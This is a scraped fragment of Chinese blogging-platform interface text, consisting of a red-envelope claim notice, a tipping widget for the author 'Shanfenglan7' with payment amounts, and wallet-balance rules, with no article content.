领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shanfenglan7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值